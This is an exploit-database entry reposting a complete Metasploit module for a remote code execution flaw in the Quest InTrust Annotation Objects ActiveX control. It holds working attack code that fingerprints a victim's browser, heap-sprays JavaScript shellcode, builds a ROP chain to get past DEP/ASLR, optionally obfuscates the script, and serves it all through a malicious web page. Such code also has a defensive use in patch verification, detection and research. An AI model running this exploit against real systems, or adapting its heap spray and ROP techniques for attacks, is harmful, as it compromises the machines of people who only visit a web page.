Quest InTrust Annotation Objects Uninitialized Pointer

2012.04.15
Credit: rgod
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

### # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info(info, 'Name' => 'Quest InTrust Annotation Objects Uninitialized Pointer', 'Description' => %q{ This module exploits an uninitialized variable vulnerability in the Annotation Objects ActiveX component. The activeX component loads into memory without opting into ALSR so this module exploits the vulnerability against windows Vista and Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX points to part of the ROP chain in a heap chunk and the calculated call will hit the pivot in a separate heap chunk. This will take some time in the users browser. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # initial discovery & poc 'mr_me <steventhomasseeley[at]gmail.com>' # msf module ], 'References' => [ [ 'OSVDB', '80662'], [ 'BID', '52765'], [ 'URL', 'http://www.exploit-db.com/exploits/18674/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ # call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] # calculation: <targetaddress> - 0x44024a50 / 4 = Ret [ 'Automatic', {} ], # Windows XP/Vista/IE6/IE7 target [ 'Windows XP/Vista SP0-SP3 (IE6/IE7)', { 'Ret' => 0x76767676, } ], # Windows XP/IE8 target - ASLR/DEP Bypass [ 'Windows XP SP0-SP3 DEP bypass (IE8)', { 'Ret' => 0x31AAAD78, } ], # Windows 7/Vista/IE8 target - ASLR/DEP Bypass [ 'Windows 7/Vista ALSR/DEP bypass (IE8)', { 'Ret' => 0x31AAAD78, } ] ], 'DisclosureDate' => 'Mar 28 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ], self.class) end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def nops(s) nops = make_nops(4).unpack("N*") * s return nops end def on_request_uri(cli, request) #Set target manually or automatically my_target = target if my_target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ # xp/ie6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ # xp/ie7 my_target = targets[1] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ # vista/ie7 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ # xp/ie8 my_target = targets[2] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/ # vista/ie8 my_target = targets[2] elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ # win7/ie8 my_target = targets[3] end end # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # shellcode sc = Rex::Text.to_unescape(p.encoded) # Randomize object name obj_name = rand_text_alpha(rand(100) + 1) main_sym = 'main' #main function name if my_target.name =~ /IE6/ or my_target.name =~ /IE7/ js = <<-EOS function heapspray(){ shellcode = unescape('#{sc}'); bigblock = unescape("%u0c0c%u0c0c"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace){ bigblock+=bigblock; } fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000){ block = block+block+fillblock; } memory = new Array(); for (i=0;i<1000;i++){ memory[i] = block+shellcode; } } function main(){ heapspray(); #{obj_name}.Add(#{my_target.ret},1); } EOS end if my_target.name =~ /IE8/ # all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase) rop_gadgets = [ junk, junk, junk, 0x44014075 # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot) ].pack('V*') rop_gadgets << [0x44015CEF].pack('V*') * 140 # padding of retn's rop_gadgets << [ 0x44015CEF, # retn 0x44015CEF, # retn 0x44015CEF, # retn 0x44015cee, # pop edx ; retn 0x4401a130, # ptr to &VirtualAlloc() (IAT) 0x44015ca4, # mov eax,[edx+4] ; retn 0x44001218, # push eax ; dec eax ; pop esi ; pop ebp ; retn 14 junk, # filler (compensate) 0x440159bb, # pop ebp ; retn junk, # filler (retn offset compensation) junk, # filler (retn offset compensation) junk, # filler (retn offset compensation) junk, # filler (retn offset compensation) 0x4400238A, # filler (pop edi ; pop esi ; pop ebp ; retn) 0x440012c1, # push esp ; ret 08 0x44016264, # pop ebx ; retn 0x00004000, # 0x00000001-> ebx 0x44015cc9, # pop edx ; retn 0x00001000, # 0x00001000-> edx 0x44017664, # pop ecx ; retn 0x00000040, # 0x00000040-> ecx 0x44017bd8, # pop edi ; retn 0x44017ebe, # retn 0x4400bf25, # pop eax ; retn 0x0C0C2478, # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn 0x44005C57, # pushad ; push 8 ; push ecx; push esi; call [eax+c] 0x90909090, # nops, do not change as it changes the offset nops(11) ].flatten.pack('V*') rop = Rex::Text.to_unescape(rop_gadgets) js = <<-EOF function heapspray(){ var payload = unescape('#{rop}'); payload += unescape('#{sc}'); var data = payload; while(data.length < 100000) { data += data; } var onemeg = data.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += data.substr(0, 64*1024/2); } onemeg += data.substr(0, (64*1024/2)-(38/2)); var block = new Array(); for (i=0; i<700; i++) { block[i] = onemeg.substr(0, onemeg.length); } } function main(){ heapspray(); #{obj_name}.Add(#{my_target.ret},1); } EOF #JS obfuscation on demand only for IE8 if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate main_sym = js.sym('main') end end content = <<-EOF <object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object> <script language='JavaScript' defer> #{js} </script> <body onload="#{main_sym}();"> <body> </html> EOF peer = "#{cli.peerhost.ljust(16)} #{self.shortname}" print_status("#{peer} Sending HTML...") #Remove the extra tabs from content content = content.gsub(/^\t\t/, '') # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end =begin eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001 eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 ANNOTA_1+0xae62: 4400ae62 ff1485504a0244 call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=???????? =end

References:

http://www.exploit-db.com/exploits/18674/


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